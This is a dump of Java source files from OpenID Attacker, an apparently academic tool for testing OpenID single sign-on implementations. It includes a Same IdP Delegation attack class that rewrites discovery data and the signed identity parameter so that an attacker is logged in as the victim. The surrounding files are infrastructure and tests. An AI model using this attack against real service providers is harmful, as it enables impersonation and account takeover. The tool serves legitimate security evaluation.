35 | public static Document generateXrdsDocument(XrdsConfiguration config) {
36 | Element xrd = createEmptyXRDElement();
37 | Document xrdsDocument = xrd.getOwnerDocument();
38 | Element service = createService(xrdsDocument, config);
39 | xrd.appendChild(service);
40 | return xrdsDocument;
41 | }
42 |
43 | public static String generateString(XrdsConfiguration config) {
44 | Document xrdsDocument = generateXrdsDocument(config);
45 | return DomUtilities.domToString(xrdsDocument, true);
46 | }
47 |
48 | private static Element createService(Document xrdsDoc, XrdsConfiguration config) {
49 | // Create
50 | //
51 | final Element serviceElement = xrdsDoc.createElement("Service");
52 | serviceElement.setAttribute("priority", String.valueOf(config.getPriority()));
53 |
54 | // Create
55 | // http://specs.openid.net/auth/2.0/signon
56 | final Element typeElement = xrdsDoc.createElement("Type");
57 | serviceElement.appendChild(typeElement);
58 | final OpenIdVersion version = config.getOpenIdVersion();
59 | typeElement.setTextContent(version.getURI());
60 |
61 | // Create
62 | // $endpoint
63 | final Element endpointElement = xrdsDoc.createElement("URI");
64 | serviceElement.appendChild(endpointElement);
65 | endpointElement.setTextContent(config.getBaseUrl());
66 |
67 | // Create
68 | // $openid_identifier
69 | // or
70 | // $openid_identifier
71 | if (config.isIncludeIdentity()) {
72 | final Element identifierElement;
73 | if (version == OpenIdVersion.VERSION_20_CLAIMED_IDENTIFIER_ELEMENT || version == OpenIdVersion.VERSION_20_OP_IDENTIFIER_ELEMENT) {
74 | String identfierElementName = "LocalID";
75 | identifierElement = xrdsDoc.createElement(identfierElementName);
76 | } else {
77 | String identfierElementName = "openid:Delegate";
78 | identifierElement = xrdsDoc.createElementNS(XMLNS_OPENID, identfierElementName);
79 | }
80 | serviceElement.appendChild(identifierElement);
81 | identifierElement.setTextContent(config.getIdentity());
82 | }
83 |
84 | // Return Element
85 | return serviceElement;
86 | }
87 |
88 | private static Element createEmptyXRDElement() {
89 | Document xrdsDoc = DomUtilities.createEmptyDom();
90 | // Element root = xrdsDoc.createElement("xrds:XRDS");
91 | Element root = xrdsDoc.createElementNS(XMLNS_XRDS, "xrds:XRDS");
92 | xrdsDoc.appendChild(root);
93 | root.setAttribute("xmlns", XMLNS);
94 | // root.setAttribute("xmlns:xrds", XMLNS_XRDS);
95 | // root.setAttribute("xmlns:openid", XMLNS_OPENID);
96 | root.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:xrds", XMLNS_XRDS);
97 | root.setAttributeNS(XMLConstants.XMLNS_ATTRIBUTE_NS_URI, "xmlns:openid", XMLNS_OPENID);
98 |
99 | Element xrd = xrdsDoc.createElement("XRD");
100 | root.appendChild(xrd);
101 | xrd.setAttribute("version", "2.0");
102 | return xrd;
103 | }
104 | }
105 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/SameIdpDelegationAttack.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.attack;
20 |
21 | import org.apache.commons.lang3.SerializationUtils;
22 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
23 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper;
24 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
25 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
26 | import wsattacker.sso.openid.attacker.discovery.html.HtmlDiscoveryConfiguration;
27 | import wsattacker.sso.openid.attacker.discovery.xrds.XrdsConfiguration;
28 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
29 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
30 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
31 |
32 | public class SameIdpDelegationAttack extends AbstractAttack {
33 |
34 | private HtmlDiscoveryConfiguration htmlConfigCopy;
35 | private XrdsConfiguration xrdsConfigCopy;
36 |
37 | public SameIdpDelegationAttack(ServiceProvider serviceProvider) {
38 | super(serviceProvider);
39 | }
40 |
41 | @Override
42 | protected void beforeAttack() {
43 | super.beforeAttack();
44 |
45 | // copy of HTML and XRDS Discovery information by serialization
46 | htmlConfigCopy = SerializationUtils.clone(serverController.getConfig().getHtmlConfiguration());
47 | xrdsConfigCopy = SerializationUtils.clone(serverController.getConfig().getXrdsConfiguration());
48 | }
49 |
50 | @Override
51 | protected void afterAttack() {
52 | super.afterAttack();
53 |
54 | // reset HTML and XRDS Discovery information
55 | serverController.getConfig().setHtmlConfiguration(htmlConfigCopy);
56 | serverController.getConfig().setXrdsConfiguration(xrdsConfigCopy);
57 | }
58 |
59 | @Attack
60 | private AttackResult performSameIdpDelegationAttack() {
61 | // set IdP of the discovery document of attacker's IdP
62 | String victimIdp = serverController.getAnalyzerConfig().getXrdsConfiguration().getBaseUrl();
63 | serverController.getAttackerConfig().getHtmlConfiguration().setBaseUrl(victimIdp);
64 | serverController.getAttackerConfig().getXrdsConfiguration().setBaseUrl(victimIdp);
65 |
66 | // set second identity to the attacker's OpenID
67 | OpenIdServerConfiguration.getAnalyzerInstance().setPerformAttack(true);
68 |
69 | String attackerIdentity = serviceProvider.getAttackerOpenId();
70 |
71 | AttackParameterKeeper victimKeeper = serverController.getAnalyzerServer().getParameterConfiguration();
72 |
73 | AttackParameter claimedIdParameter = victimKeeper.getParameter("openid.identity");
74 | claimedIdParameter.setAttackValueUsedForSignatureComputation(true);
75 | claimedIdParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
76 | claimedIdParameter.setAttackMethod(HttpMethod.GET);
77 | claimedIdParameter.setAttackValue(attackerIdentity);
78 |
79 | // include modified parameter in signature
80 | AttackParameter sigParameter = victimKeeper.getParameter("openid.sig");
81 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
82 | sigParameter.setAttackMethod(HttpMethod.GET);
83 |
84 | LoginResult loginResult = serviceProvider.login(User.ATTACKER);
85 |
86 | boolean success = serviceProvider.determineAuthenticatedUser(loginResult.getPageSource(), loginResult.getUrlAfterLogin()) == ServiceProvider.User.VICTIM;
87 | AttackResult.Result result = success ? AttackResult.Result.SUCCESS : AttackResult.Result.FAILURE;
88 | AttackResult.Interpretation interpretation = success ? AttackResult.Interpretation.CRITICAL : AttackResult.Interpretation.PREVENTED;
89 |
90 | //assert isSignatureValid(loginResult) : "Signature is not valid!";
91 |
92 | return new AttackResult("Same IdP Delegation Attack", loginResult, result, interpretation);
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/log/RequestLogEntry.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.log;
20 |
21 | import java.io.Serializable;
22 | import java.util.Date;
23 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
24 | import wsattacker.sso.openid.attacker.server.IdpType;
25 |
26 | public class RequestLogEntry extends AbstractBean implements Serializable {
27 |
28 | public static final String PROP_TYPE = "type";
29 | public static final String PROP_DATE = "date";
30 | public static final String PROP_TEXT = "text";
31 | public static final String PROP_REQUEST = "request";
32 | public static final String PROP_RESPONSE = "response";
33 | public static final String PROP_IDPTYPE = "idpType";
34 | private RequestType type = RequestType.ASSOCIATION;
35 | final private Date date = new Date();
36 | private String text = "";
37 | private String request = "";
38 | private String response = "";
39 | private IdpType idpType = IdpType.ATTACKER;
40 |
41 | protected RequestLogEntry(RequestType type, String text, String request, String response, IdpType idpType) {
42 | this.text = text;
43 | this.type = type;
44 | this.request = request;
45 | this.response = response;
46 | this.idpType = idpType;
47 | }
48 |
49 | /**
50 | * Get the value of request
51 | *
52 | * @return the value of request
53 | */
54 | public String getRequest() {
55 | return request;
56 | }
57 |
58 | /**
59 | * Set the value of request
60 | *
61 | * @param request new value of request
62 | */
63 | public void setRequest(String request) {
64 | String oldRequest = this.request;
65 | this.request = request;
66 | firePropertyChange(PROP_REQUEST, oldRequest, request);
67 | }
68 |
69 | /**
70 | * Get the value of response
71 | *
72 | * @return the value of response
73 | */
74 | public String getResponse() {
75 | return response;
76 | }
77 |
78 | /**
79 | * Set the value of response
80 | *
81 | * @param response new value of response
82 | */
83 | public void setResponse(String response) {
84 | String oldResponse = this.response;
85 | this.response = response;
86 | firePropertyChange(PROP_RESPONSE, oldResponse, response);
87 | }
88 |
89 | /**
90 | * Get the value of date
91 | *
92 | * @return the value of date
93 | */
94 | public Date getDate() {
95 | return date;
96 | }
97 |
98 | /**
99 | * Get the value of text
100 | *
101 | * @return the value of text
102 | */
103 | public String getText() {
104 | return text;
105 | }
106 |
107 | /**
108 | * Set the value of text
109 | *
110 | * @param text new value of text
111 | */
112 | public void setText(String text) {
113 | String oldText = this.text;
114 | this.text = text;
115 | firePropertyChange(PROP_TEXT, oldText, text);
116 | }
117 |
118 | /**
119 | * Get the value of type
120 | *
121 | * @return the value of type
122 | */
123 | public RequestType getType() {
124 | return type;
125 | }
126 |
127 | /**
128 | * Set the value of type
129 | *
130 | * @param type new value of type
131 | */
132 | public void setType(RequestType type) {
133 | RequestType oldType = this.type;
134 | this.type = type;
135 | firePropertyChange(PROP_TYPE, oldType, type);
136 | }
137 |
138 | /**
139 | * Get the value of idpType
140 | *
141 | * @return the value of idpType
142 | */
143 | public IdpType getIdpType() {
144 | return idpType;
145 | }
146 |
147 | /**
148 | * Set the value of idpType
149 | *
150 | * @param idpType new value of idpType
151 | */
152 | public void setIdpType(IdpType idpType) {
153 | IdpType oldIdpType = this.idpType;
154 | this.idpType = idpType;
155 | firePropertyChange(PROP_IDPTYPE, oldIdpType, idpType);
156 | }
157 | }
158 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/bootstrap/Bootstrap.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.bootstrap;
20 |
21 | import java.io.File;
22 | import java.util.List;
23 | import org.apache.log4j.Logger;
24 | import org.openid4java.association.Association;
25 | import wsattacker.sso.openid.attacker.config.ToolConfiguration;
26 | import wsattacker.sso.openid.attacker.config.XmlPersistenceError;
27 | import wsattacker.sso.openid.attacker.config.XmlPersistenceHelper;
28 | import wsattacker.sso.openid.attacker.controller.ServerController;
29 | import wsattacker.sso.openid.attacker.server.buisinesslogic.CustomInMemoryServerAssociationStore;
30 |
31 | /**
32 | * This class provides static methods for starting and stopping the main
33 | * programm
34 | */
35 | final public class Bootstrap {
36 |
37 | final private static Logger LOG = Logger.getLogger(Bootstrap.class);
38 | final private static File DEFAULT_CONFIG_FILE = new File("openId_config.xml");
39 | final private static File DEFAULT_ASSOCIATION_FILE = new File("openId_associations.ser");
40 | private static boolean started = false;
41 | private static boolean stopped = false;
42 | private static ServerController controller = new ServerController();
43 |
44 | public static void onStart() {
45 | try {
46 | throwIfAlreadyStarted();
47 | readGlobalConfigFromDisk();
48 | readAssociationFromDisk();
49 | } catch (XmlPersistenceError ex) {
50 | LOG.warn("Error while starting the program");
51 | }
52 | }
53 |
54 | public static void onStop() {
55 | try {
56 | throwIfAlreadyStopped();
57 | saveGlobalConfigToDisk();
58 | saveAssociationToDisk();
59 | } catch (XmlPersistenceError ex) {
60 | LOG.warn("Error while stopping the program");
61 | }
62 | }
63 |
64 | private static void throwIfAlreadyStopped() {
65 | if (stopped) {
66 | throw new IllegalStateException("onStop() Method was already invoked");
67 | }
68 | stopped = true;
69 | }
70 |
71 | private static void throwIfAlreadyStarted() {
72 | if (started) {
73 | throw new IllegalStateException("onStart() Method was already invoked");
74 | }
75 | started = true;
76 | }
77 |
78 | private static void readGlobalConfigFromDisk() throws XmlPersistenceError {
79 | if (DEFAULT_CONFIG_FILE.isFile()) {
80 | ToolConfiguration currentToolConfig = new ToolConfiguration();
81 | currentToolConfig.setAttackerConfig(controller.getAttackerConfig());
82 | currentToolConfig.setAnalyzerConfig(controller.getAnalyzerConfig());
83 |
84 | XmlPersistenceHelper.mergeConfigFileToConfigObject(DEFAULT_CONFIG_FILE, currentToolConfig);
85 | }
86 | }
87 |
88 | private static void saveGlobalConfigToDisk() throws XmlPersistenceError {
89 | controller.getConfig().setPerformAttack(false);
90 |
91 | ToolConfiguration currentToolConfig = new ToolConfiguration();
92 | currentToolConfig.setAttackerConfig(controller.getAttackerConfig());
93 | currentToolConfig.setAnalyzerConfig(controller.getAnalyzerConfig());
94 |
95 | XmlPersistenceHelper.saveConfigToFile(DEFAULT_CONFIG_FILE, currentToolConfig);
96 | }
97 |
98 | private static void readAssociationFromDisk() throws XmlPersistenceError {
99 | CustomInMemoryServerAssociationStore store = controller.getServer().getStore();
100 | List associationList = XmlPersistenceHelper.loadAssociationStoreFromFile(DEFAULT_ASSOCIATION_FILE);
101 | store.setAssociationList(associationList);
102 | }
103 |
104 | private static void saveAssociationToDisk() throws XmlPersistenceError {
105 | CustomInMemoryServerAssociationStore store = controller.getServer().getStore();
106 | List associationList = store.getAssociationList();
107 | XmlPersistenceHelper.saveAssociationStoreToDisk(DEFAULT_ASSOCIATION_FILE, associationList);
108 | }
109 |
110 | private Bootstrap() {
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/controller/ServerController.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.controller;
20 |
21 | import java.util.List;
22 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
23 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
24 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResult;
25 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResultStore;
26 | import wsattacker.sso.openid.attacker.log.RequestLogEntry;
27 | import wsattacker.sso.openid.attacker.log.RequestLogger;
28 | import wsattacker.sso.openid.attacker.server.IdpType;
29 | import wsattacker.sso.openid.attacker.server.OpenIdServer;
30 |
31 | public class ServerController extends AbstractBean {
32 |
33 | private IdpType idpType;
34 |
35 | private static final OpenIdServer attackerServer = new OpenIdServer();
36 | private static final OpenIdServerConfiguration attackerConfig = OpenIdServerConfiguration.getAttackerInstance();
37 |
38 | private static OpenIdServer analyzerServer;
39 | private static final OpenIdServerConfiguration analyzerConfig = OpenIdServerConfiguration.getAnalyzerInstance();
40 |
41 | public ServerController() {
42 | // by default set config and server to the attacker IdP
43 | idpType = IdpType.ATTACKER;
44 | }
45 |
46 | public OpenIdServer getServer() {
47 | if (idpType.equals(IdpType.ATTACKER)) {
48 | return attackerServer;
49 | }
50 |
51 | return getAnalyzerServer();
52 | }
53 |
54 | public OpenIdServerConfiguration getConfig() {
55 | if (idpType.equals(IdpType.ATTACKER)) {
56 | return attackerConfig;
57 | }
58 |
59 | return analyzerConfig;
60 | }
61 |
62 |
63 |
64 | // set the server AND config to the attacker or analyzer IdP
65 | public void setIdp(IdpType idp) {
66 | switch (idp) {
67 | case ATTACKER:
68 | idpType = IdpType.ATTACKER;
69 | break;
70 | case ANALYZER:
71 | idpType = IdpType.ANALYZER;
72 | break;
73 | }
74 | }
75 |
76 | public OpenIdServer getAnalyzerServer() {
77 | if (analyzerServer == null) {
78 | analyzerServer = new OpenIdServer(IdpType.ANALYZER);
79 | }
80 |
81 | return analyzerServer;
82 | }
83 |
84 | public OpenIdServerConfiguration getAnalyzerConfig() {
85 | return analyzerConfig;
86 | }
87 |
88 | public OpenIdServer getAttackerServer() {
89 | return attackerServer;
90 | }
91 |
92 | public OpenIdServerConfiguration getAttackerConfig() {
93 | return attackerConfig;
94 | }
95 | public List getRequestLog() {
96 | return RequestLogger.getInstance().getEntryList();
97 | }
98 |
99 | public List getEvaluationResults() {
100 | return EvaluationResultStore.getEvaluationResultStore().getEvaluationResults();
101 | }
102 |
103 | /*public List getFilteredRequestLog() {
104 | List requestLog = RequestLogger.getInstance().getEntryList();
105 |
106 | List filteredRequestLog =
107 | requestLog.
108 | stream().
109 | filter(entry -> entry.getIdpType().equals(idpType)).
110 | collect(Collectors.toList());
111 |
112 | return filteredRequestLog;
113 | }*/
114 | /*
115 | public List getAttackerRequestLog() {
116 | List requestLog = RequestLogger.getInstance().getEntryList();
117 |
118 | return requestLog.
119 | parallelStream().
120 | filter(entry -> entry.getIdpType().equals(IdpType.ATTACKER)).
121 | collect(Collectors.toList());
122 | }
123 |
124 | public List getAnalyzerRequestLog() {
125 | List requestLog = RequestLogger.getInstance().getEntryList();
126 |
127 | return requestLog.
128 | parallelStream().
129 | filter(entry -> entry.getIdpType().equals(IdpType.ANALYZER)).
130 | collect(Collectors.toList());
131 | }*/
132 | }
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/parameter/AttackParameterHandler.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.attack.parameter;
20 |
21 | import java.util.LinkedHashMap;
22 | import java.util.Map;
23 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
24 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
25 |
26 | final public class AttackParameterHandler {
27 |
28 | private AttackParameterHandler() {
29 | }
30 |
31 | public static void updateValidParameters(AttackParameterKeeper keeper, final Map validParameterMap) {
32 | for (Map.Entry entry : validParameterMap.entrySet()) {
33 | String name = entry.getKey();
34 | String value = entry.getValue();
35 | keeper.addOrUpdateParameterValidValue(name, value);
36 | }
37 | }
38 |
39 | public static void updateAttackParameters(AttackParameterKeeper keeper, final Map attackParameterMap) {
40 | for (Map.Entry entry : attackParameterMap.entrySet()) {
41 | String name = entry.getKey();
42 | String value = entry.getValue();
43 | AttackParameter p = keeper.getParameter(name);
44 | if (p != null) {
45 | // if (name.equals("openid.sig")) {
46 | p.setAutomaticValue(value);
47 | // } else {
48 | // p.setAttackValue(value);
49 | // }
50 | }
51 | }
52 | }
53 |
54 | public static Map createToSignMap(final AttackParameterKeeper keeper) {
55 | Map result = new LinkedHashMap<>();
56 | for (AttackParameter parameter : keeper) {
57 | String name = parameter.getName();
58 | String value;
59 | if (parameter.isAttackValueUsedForSignatureComputation()) {
60 | value = parameter.getAttackValue();
61 | } else {
62 | value = parameter.getValidValue();
63 | }
64 | result.put(name, value);
65 | }
66 | return result;
67 | }
68 |
69 | public static Map createMapByMethod(final AttackParameterKeeper keeper, final HttpMethod method) {
70 | return createMapByMethod(keeper, method, OpenIdServerConfiguration.getAttackerInstance().isPerformAttack());
71 | }
72 |
73 | public static Map createMapByMethod(final AttackParameterKeeper keeper, final HttpMethod method, final boolean attackPerformed) {
74 | Map result = new LinkedHashMap<>();
75 | for (AttackParameter parameter : keeper) {
76 | // TODO: This is not very nice :)
77 | if (!attackPerformed && method.equals(HttpMethod.GET)) {
78 | result.put(parameter.getName(), parameter.getValidValue());
79 | } else {
80 | if (attackPerformed && method.equals(parameter.getValidMethod())) {
81 | result.put(parameter.getName(), parameter.getValidValue());
82 | }
83 | if (attackPerformed && method.equals(parameter.getAttackMethod())) {
84 | result.put(parameter.getName(), parameter.getAttackValue());
85 | }
86 | }
87 | }
88 | return result;
89 | }
90 |
91 | public static void addCustomParameter(AttackParameterKeeper keeper, String newName) {
92 | if (keeper.hasParameter(newName)) {
93 | throw new IllegalArgumentException(String.format("Parameter '%s' already exist", newName));
94 | }
95 | String validValue = String.format("Custom Parameter '%s'", newName);
96 | AttackParameter newParameter = keeper.addOrUpdateParameterValidValue(newName, validValue);
97 | newParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
98 | newParameter.setAttackMethod(HttpMethod.GET);
99 | newParameter.setAttackValueUsedForSignatureComputation(true);
100 | newParameter.setAttackValue(validValue);
101 | }
102 |
103 | public static void removeParameter(AttackParameterKeeper keeper, String newName) {
104 | if (!keeper.hasParameter(newName)) {
105 | throw new IllegalArgumentException(String.format("Parameter '%s' does not exist", newName));
106 | }
107 | keeper.removeParameter(newName);
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/attack/profile/AttackProfileContainerTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.attack.profile;
2 |
3 | import java.util.List;
4 | import static org.hamcrest.Matchers.hasSize;
5 | import static org.hamcrest.Matchers.is;
6 | import static org.hamcrest.Matchers.not;
7 | import static org.hamcrest.Matchers.sameInstance;
8 | import static org.junit.Assert.assertThat;
9 | import org.junit.Before;
10 | import org.junit.Test;
11 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
12 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper;
13 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
14 |
15 | public class AttackProfileContainerTest {
16 |
17 | private static final String TEST_PROFILE_DESCRIPTION = "Test Profile Description";
18 | private static final String TEST_PROFILE_NAME = "Test Profile Name";
19 | private static AttackProfileContainer profileContainer;
20 | private static AttackParameterKeeper configuration;
21 | private static AttackParameter a;
22 |
23 | public AttackProfileContainerTest() {
24 | }
25 |
26 | @Before
27 | public void setUp() {
28 | profileContainer = new AttackProfileContainer();
29 | configuration = new AttackParameterKeeper();
30 | a = configuration.addOrUpdateParameterValidValue("a", "a");
31 | a.setAttackMethod(HttpMethod.POST);
32 | a.setValidMethod(HttpMethod.POST);
33 | profileContainer.saveProfile(TEST_PROFILE_NAME, TEST_PROFILE_DESCRIPTION, configuration);
34 | }
35 |
36 | @Test
37 | public void testSaveProfile() {
38 | assertThat(profileContainer.getProfileList(), hasSize(1));
39 | AttackProfile savedProfile = profileContainer.getProfileList().get(0);
40 | assertThat(savedProfile.getName(), is(TEST_PROFILE_NAME));
41 | assertThat(savedProfile.getDescription(), is(TEST_PROFILE_DESCRIPTION));
42 | AttackParameterKeeper savedKeeper = savedProfile.getConfiguration();
43 | assertThat(savedKeeper, is(configuration));
44 | assertThat(savedKeeper, not(sameInstance(configuration)));
45 | }
46 |
47 | @Test
48 | public void testUpdateProfile_3args() {
49 | AttackParameterKeeper keeperBeforeUpdate;
50 | keeperBeforeUpdate = profileContainer.getProfileList().get(0).getConfiguration();
51 |
52 | int intex = 0;
53 | String name = "bn";
54 | String description = "bd";
55 | profileContainer.updateProfile(intex, name, description);
56 |
57 | assertThat(profileContainer.getProfileList(), hasSize(1));
58 | AttackProfile savedProfile = profileContainer.getProfileList().get(0);
59 | assertThat(savedProfile.getName(), is(name));
60 | assertThat(savedProfile.getDescription(), is(description));
61 | AttackParameterKeeper savedKeeper = savedProfile.getConfiguration();
62 | assertThat(savedKeeper, sameInstance(keeperBeforeUpdate));
63 | }
64 |
65 | @Test
66 | public void testUpdateProfile_4args() {
67 | int index = 0;
68 | String name = "cn";
69 | String description = "cd";
70 | AttackParameterKeeper newConfig = new AttackParameterKeeper();
71 | newConfig.addOrUpdateParameterValidValue("c", "c");
72 |
73 | profileContainer.updateProfile(index, name, description, newConfig);
74 |
75 | assertThat(profileContainer.getProfileList(), hasSize(1));
76 | AttackProfile savedProfile = profileContainer.getProfileList().get(0);
77 | assertThat(savedProfile.getName(), is(name));
78 | assertThat(savedProfile.getDescription(), is(description));
79 | AttackParameterKeeper savedKeeper = savedProfile.getConfiguration();
80 | assertThat(savedKeeper, is(newConfig));
81 | assertThat(savedKeeper, not(sameInstance(newConfig)));
82 | }
83 |
84 | @Test
85 | public void testLoadProfileInEmptyKeeper() {
86 | AttackParameterKeeper toUpdate = new AttackParameterKeeper();
87 | List parameters = toUpdate.getParameterList();
88 | profileContainer.loadProfile(toUpdate, 0);
89 | assertThat(toUpdate.getParameterList(), sameInstance(parameters));
90 | assertThat(toUpdate.getParameterList(), hasSize(1));
91 | }
92 |
93 | @Test
94 | public void testLoadProfileInNonEmptyKeeper() {
95 | AttackParameterKeeper toUpdate = new AttackParameterKeeper();
96 | toUpdate.addOrUpdateParameterValidValue("z", "z");
97 | List parameters = toUpdate.getParameterList();
98 | profileContainer.loadProfile(toUpdate, 0);
99 | assertThat(toUpdate.getParameterList(), sameInstance(parameters));
100 | assertThat(parameters, hasSize(2));
101 | }
102 |
103 | @Test
104 | public void testLoadProfileAndUpdateParameterValues() {
105 | AttackParameterKeeper toUpdate = new AttackParameterKeeper();
106 | toUpdate.addOrUpdateParameterValidValue("a", "x");
107 | List parameters = toUpdate.getParameterList();
108 | profileContainer.loadProfile(toUpdate, 0);
109 | assertThat(toUpdate.getParameterList(), sameInstance(parameters));
110 | assertThat(parameters, hasSize(1));
111 | AttackParameter p = parameters.get(0);
112 | assertThat(p.getName(), is("a"));
113 | assertThat(p.getValidValue(), is("a"));
114 | assertThat(p.getValidMethod(), is(HttpMethod.POST));
115 | assertThat(p.getAttackMethod(), is(HttpMethod.POST));
116 |
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/training/TrainingWorker.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.training;
20 |
21 | import java.util.ArrayList;
22 | import java.util.List;
23 | import java.util.concurrent.CountDownLatch;
24 | import javax.swing.JProgressBar;
25 | import javax.swing.SwingWorker;
26 | import org.apache.commons.lang3.time.StopWatch;
27 | import wsattacker.sso.openid.attacker.evaluation.EvaluationResult;
28 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
29 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
30 | import wsattacker.sso.openid.attacker.evaluation.training.Training.ErrorType;
31 |
32 | public class TrainingWorker extends SwingWorker {
33 |
34 | private final ServiceProvider serviceProvider;
35 | private final JProgressBar progressBar;
36 | private final EvaluationResult evaluationResult;
37 |
38 | private final int numberOfTrainingSamples = 2;
39 | private final int progressStep = 100 / (3*numberOfTrainingSamples);
40 | private int progress = 0;
41 |
42 | private final List trainingResults = new ArrayList<>(numberOfTrainingSamples);
43 |
44 | private final CountDownLatch actuallyFinishedLatch = new CountDownLatch(1);
45 |
